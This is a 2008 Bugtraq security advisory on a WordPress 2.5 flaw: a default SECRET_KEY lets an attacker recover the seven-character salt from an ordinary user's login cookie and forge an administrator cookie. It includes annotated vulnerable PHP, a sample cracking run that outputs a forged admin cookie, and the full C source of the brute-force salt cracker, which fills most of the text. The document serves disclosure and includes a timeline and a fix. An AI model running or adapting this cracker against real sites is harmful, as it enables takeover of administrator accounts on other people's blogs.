Bugtraq mailing list archives

WordPress 2.5 - Salt cracking vulnerability


From: "J. Carlos Nieto" <xiam () menteslibres org>
Date: Tue, 15 Apr 2008 13:47:02 -0500

WORDPRESS 2.5 - SALT CRACKING VULNERABILITY
-------------------------------------------
http://xiam.menteslibres.org/pages/advisories/wordpress-2-5-salt-cracking-vulnerability
By J. Carlos Nieto <xiam () menteslibres org> http://xiam.menteslibres.org

Severity
========
Medium. It affects only a determinate part of the WordPress users under
specific conditions.

Affected software
=================
WordPress 2.5

Vulnerability conditions
========================
After the initial WordPress instalation, the wp-config.php's SECRET_KEY must remain as te default value: 'put your unique phrase here' or be undefined, the default value remains untouched after installing via a browser. When the WordPress package is unpacked and the victim is ready to install it, he will be asked to read the manual in order to create a wp-config.php file, or to change permissions for the installation directory to be writable. If he choose to change directory permissions, the installation will be completely via web and the SECRET_KEY will remain as the default value. There exists some other conditions that let the user install WordPress without even knowing that he must change a SECRET_KEY in wp-config.php

1.- If the user attempts to install WordPress on Windows. Since Windows does not have a strong permissions check. 2.- If the user attempts to install WordPress under Apache + suexec. The files are not readable or writable for all other users, but writable for the user himself. Thus the installed won't ask you to read the manual. 3.- Some hosting companies have a one-click installer that does not setup a SECRET_KEY.
4.- You failed to read the whole installation manual.


Vulnerable scripts
==================
wp-include/pluggable.php
function wp_validate_auth_cookie($cookie) {
 ...
 // The cookie is not being validated.
 list($username, $expiration, $hmac) = explode('|', $cookie);
 ...
// I could send 9999999999 as the second argument of the cookie to skip this condition.
 if ( $expired < time() )
   return false;
 ...

 // A mysterious hash is used here, the hash becomes a seven
 // character word generated by wp_generate_password()
 // (a.k.a. SECRET_SALT), note that wp_salt() sets
 // $secret_key to null if SECRET_KEY is equal to the default value.
.
 // The argument passed to wp_hash() in the next line is
 // completely poisonable.

 // To gain admin privileges I could use:
 // 'admin|9999999999|MISTERIOUSHASH' as my cookie.
 $key = wp_hash($username . $expiration);
 $hash = hash_hmac('md5', $username . $expiration, $key);

 // A weak check, I may provide a custom $hmac by knowing
 // the wp_salt()'s value.
 if ( $hmac != $hash )
   return false;

 // There is no password check, not even IP verification
 $user = get_userdatabylogin($username);
}
...
function wp_salt() {
 global $wp_default_secret_key;
 $secret_key = '';
// If the key is null, not defined or has the default
 // value $secret_key remains null
// if ( defined('SECRET_KEY') && ('' != SECRET_KEY) && ( $wp_default_secret_key != SECRET_KEY) )
   $secret_key = SECRET_KEY;

 if ( defined('SECRET_SALT') ) {
   $salt = SECRET_SALT;
 } else {
   $salt = get_option('secret');
   if ( empty($salt) ) {
     $salt = wp_generate_password();
       update_option('secret', $salt);
     }
   }
// $salt is a seven char long password. $secret_key is null.
 return apply_filters('salt', $secret_key . $salt);
}

The wp_salt()'s value is stored here:

mysql> select * from wp_options where option_name = 'secret';
+-----------+---------+-------------+--------------+----------+
| option_id | blog_id | option_name | option_value | autoload |
+-----------+---------+-------------+--------------+----------+
|        61 |       0 | secret      | eat5fsE      | yes      |
+-----------+---------+-------------+--------------+----------+
1 row in set (0.00 sec)

So if the attacker gets the value of that seven length string he can
craft a special cookie and gain access to ANY account he wants.

How can I know the value of wp_salt()?
--------------------------------------
I am thinking of two ways to get the value of the wp_salt():
1.- Gain access to the WP database by using a SQL injection (such as the
GBK encoding and addslashes() issue) on the WordPress core itself or on
a third party plugin (the latest is more likely to be possible). I din't
find any user-level SQL injection on the WP core.
2.- Register yourself on a WP 2.5 blog, log in and grab the cookie named
wordpress_MD5(SITE_URL), try to crack the value of the wp_salt() with an offline attack using an specialized program.

Possible solution
=================
Read The Fabulous Manual (a.k.a. RTFM) and realize that you have to change the SECRET_KEY's value.
The SECRET_KEY should be changed automatically to something random.

Proof of concept
================
I wrote a bruteforce HMAC-MD5 cracker and adapted it to crack wp_salt()'s values using a legitimate cookie as an argument.

This is the output of my program cracking the wp_salt() based on a unprivileged user cookie:
(test%7C1208303160%7C7d735c50e3635035bf83132cc94ce731) and a given charset:

$ gcc -lcrypto -Wall -o wpsalt wpsalt.c
$ ./wpsalt test 1208303160 7d735c50e3635035bf83132cc94ce731 345aefstAE
=== Success! ===
* Key: eat5fsE
* Valid cookie: admin%7C9999999999%7Cc47aa8c2946525aa9bac61332faba442

=== Statistics ===
* Time taken: 31.240000 s
* Average speed: 308986.363636 w/s

The arguments of the wp_salt cracker are:
./wpsalt username timestamp hash [charset]

The average speed of my program is 360000 words per second.
There are 62 characters that can be used to generate a 7 character long wp_password(). If we perform a linear attack, we would have to wait (in the worst case), 62^7/360000/3600/24 = ~113 days. However, if we are lucky and we feed the program with a 31 long (a half of the total) character set that contains the seven magic letters, the attack can be reduced to 31^7/360000/3600/24 = 0.8 days, but this, of course, only if we are very lucky. The time of the attack is incremented exponentially with each extra character.

Vulnerability timeline
======================
Apr 12, 2008 - Vulnerability found.
Apr 13, 2008 - Vendor notified (no response).
Apr 15, 2008 - Public disclosure.


Acknowledgments
===============
G30rg3_x (http://www.g30rg3x.com), told me the appropriate way to
report a WordPress security vulnerability and helped me to test the
severity of the issue.

Attachments
===========
--- begins wpsatl.c ---

/***
*
* Wordpress 2.5 cookie based salt cracker
* by J. Carlos Nieto <xiam () menteslibres org>
* http://xiam.menteslibres.org
*
* Date:
*    April 13, 2008
*
* Advisory:
* http://xiam.menteslibres.org/pages/advisories/wordpress-2-5-salt-cracking-vulnerability
*
* $ gcc -Wall -lcrypto -o wpsalt wpsalt.c
* $ ./wpsalt
*
* */


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <openssl/md5.h>
#include <time.h>

#define CHARSET "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
#define KEY_LEN 7

#define hexdec(x) (x - '0' < 10 ? x - '0' : x - 'a' + 10)
#define dechex(x) (x < 10 ? x + '0' : x - 10 + 'a')

void digest_to_string(unsigned char *, unsigned char *);
void print_digest(unsigned char *);
void hmac_md5(unsigned char *, int, unsigned char *, int, unsigned char *);
void exit(int);
void help();
void wp_hash(char *, int, unsigned char *, int, unsigned char *);
void error(const char *);
void string_to_digest(const char *, unsigned char *);

void digest_to_string(unsigned char *digest, unsigned char *string) {
 int i;
 int s;

 for (i = 0; i < 16; i++) {
   s = digest[i]%16;
   string[i*2] = dechex((digest[i]-s)/16);
   string[i*2+1] = dechex(s);
 }

 string[32] = 0;
}

void print_digest(unsigned char *digest) {
 unsigned char string[32];
 digest_to_string(digest, string);
 printf("%s\n", string);
}

/* http://www.faqs.org/rfcs/rfc2104.html */
void hmac_md5(unsigned char *text, int text_len, unsigned char *key, int key_len, unsigned char *digest) {
 MD5_CTX context;
 unsigned char k_ipad[65];
 unsigned char k_opad[65];
 //unsigned char tk[16];
 int i;

 /*
 if (key_len > 64) {
   MD5_CTX      tctx;

   MD5_Init(&tctx);
   MD5_Update(&tctx, key, key_len);
   MD5_Final(tk, &tctx);

   key = tk;
   key_len = 16;
 }
 */

 bzero(k_ipad, 65);
 bzero(k_opad, 65);

 bcopy(key, k_ipad, key_len);
 bcopy(key, k_opad, key_len);

 for (i = 0; i < 64; i++) {
   k_ipad[i] ^= 0x36;
   k_opad[i] ^= 0x5c;
 }

 MD5_Init(&context);
 MD5_Update(&context, k_ipad, 64);
 MD5_Update(&context, text, text_len);
 MD5_Final(digest, &context);

MD5_Init(&context); MD5_Update(&context, k_opad, 64);
 MD5_Update(&context, digest, 16);
 MD5_Final(digest, &context);
}

void help() {
 printf("WordPress 2.5, cookie based salt cracker\n");
 printf("by xiam <xiam () menteslibres org>\n");
 printf("============================================================\n");
printf("Advisory: http://xiam.menteslibres.org/pages/advisories/wordpress-2-5-salt-cracking-vulnerability\n";);
 printf("\n");
 printf("Usage:\n");
 printf("    ./wpsalt username timestamp hash [charset]\n");
 printf("\n");
 printf("Example:\n");
 printf("    Get a legitimate user cookie, it doesn't need to be from\n");
 printf("    a privileged user.\n");
 printf("    It should look like this:\n");
 printf("    admin%%7C1208298864%%7C981a2a1363e9044a1181661b46777410\n");
 printf("    Run the program:\n");
 printf("        $ ./wpsalt admin 1208298864 \\\n");
 printf("          981a2a1363e9044a1181661b46777410\n");
printf(" Now wait some months... or if you're feeling lucky, specify\n");
 printf("    a charset such as in the example below:\n");
 printf("        $ ./wpsalt admin 1208298864 \\\n");
 printf("          981a2a1363e9044a1181661b46777410 aef5Est\n");
 exit(0);
}


void wp_hash(char *data, int data_len, unsigned char *key, int key_len, unsigned char *digest) {
 unsigned char salt[16];
 unsigned char inter_key[32];

 hmac_md5((unsigned char *)data, data_len, key, key_len, salt);

 digest_to_string(salt, inter_key);

 hmac_md5((unsigned char *)data, data_len, inter_key, 32, digest);
}

void error(const char *s) {
 printf("E: %s\n", s);
 exit(0);
}

void string_to_digest(const char *string, unsigned char *digest) {
 int i;
 int c;

 if (strlen((char *)string) == 32) {
   for (i = 0; i < 16; i++) {
     c  = hexdec(string[2*i])*16;
     c += hexdec(string[2*i+1]);
     digest[i] = c;
   }
 } else {
   error("The hash must be a 32 chars string.");
 }
}

int main(int argc, char *argv[]) {

 unsigned char goal_digest[16];
 unsigned char key[KEY_LEN+1];

 char *data;
 char *charset;

 int map[KEY_LEN];
 int charset_len, data_len;

 unsigned long long int words;
 int i, j, carr, cont;
 clock_t time_start, time_end;
 double  total_time;
 unsigned char digest[16];
data = NULL;
 charset = NULL;

 if (argc > 3) {

   string_to_digest(argv[3], goal_digest);

data = (char *) malloc(sizeof(unsigned char)*(strlen(argv[1]) + strlen(argv[2]) + 1));
   strcat(data, argv[1]);
   strcat(data, argv[2]);

   if (argc > 4) {
     charset = argv[4];
   } else {
     charset = CHARSET;
   }
 } else {
   help();
 }

 data_len = strlen(data);

 charset_len = strlen(charset)-1;

 for (i = 0; i < KEY_LEN; i++) {
   map[i] = 0;
   key[i] = charset[0];
 }
 key[i] = '\0';

 map[0] = -1;

 time_start = clock();

 for (words = -1, cont = 1; cont; words++) {
j = 0;

   map[j]++;

   if (map[j] > charset_len) {
     map[0] = 0;
     key[0] = charset[0];
     carr   = 1;
     j++;
     while (carr) {
       if (j < KEY_LEN) {
         map[j]++;
         if (map[j] > charset_len) {
           map[j] = 0;
         } else {
           carr = 0;
         }
         key[j] = charset[map[j]];
         j++;
       } else {
         cont = 0;
         carr = 0;
       }
     }
   } else {
     key[0] = charset[map[0]];
   }

   wp_hash(data, data_len, key, KEY_LEN, digest);

   if (memcmp(digest, goal_digest, 16) == 0) {
     printf("=== Success! ===\n");
     printf("* Key: %s\n", key);
wp_hash("admin9999999999", 15, key, KEY_LEN, digest);

     printf("* Valid cookie: admin%%7C9999999999%%7C");
     print_digest(digest);
     cont = 0;
   }

 }

 time_end = clock();
 total_time = ((double) (time_end - time_start)) / CLOCKS_PER_SEC;

 printf("\n");
 printf("=== Statistics ===\n");
 printf("* Time taken: %f s\n", total_time);
 printf("* Average speed: %f w/s\n", words/total_time);

 return 0;
}
--- ends wpsalt.c ---

--
La civilizaci~n no suprime la barbarie, la perfecciona. - Voltaire
- J. Carlos Nieto (xiam). http://xiam.menteslibres.org


Current thread: